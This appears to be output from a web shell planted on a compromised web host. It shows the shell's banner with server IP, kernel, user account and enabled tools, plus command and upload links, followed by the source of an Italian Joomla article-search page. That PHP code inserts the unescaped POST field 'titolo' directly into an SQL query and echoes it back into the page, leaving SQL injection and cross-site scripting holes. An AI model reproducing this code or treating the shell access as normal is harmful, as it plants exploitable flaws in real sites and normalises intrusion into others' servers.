|
Server IP : 10.111.20.6 / Your IP : 216.73.217.121 Web Server : Apache System : Linux webm006.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : edizioni ( 7252) PHP Version : 8.3.23 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/edizioni/stampaeweb/../wordpress/../momentiweb/cli/../libraries/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Ricerca per Titolo</title>
</head>
<!-- RICERCA PER AUTORE -->
<body>
<?php
$titolo = $_POST['titolo'];
$sql = "SELECT * FROM articoli WHERE argomento LIKE '%$titolo%' ORDER BY numero DESC";
$db = JFactory::getDBO();
$db->setQuery( $sql );
$result = $db->loadObjectList();
echo "<h2>Elenco Articoli contenenti la parola '$titolo'</h2>";
echo "<h5>Record Trovati: " .count($result) ."</h5>";
?>
<ul>
<?php for ($i=0;$i<count($result);$i++){ ?>
<li>
<?php $argo = $result[$i]->argomento; $autore = $result[$i]->autore; $numero = $result[$i]->numero; ?>
<?php echo "<span style=\"color:blue\">" .$numero ."</span> " .$argo; ?>
<?php if ($autore!=''){?>
(di <i> <?php echo $autore; ?></i>)
<?php } ?>
</li>
<?php } ?>
</ul>
</body>
</html>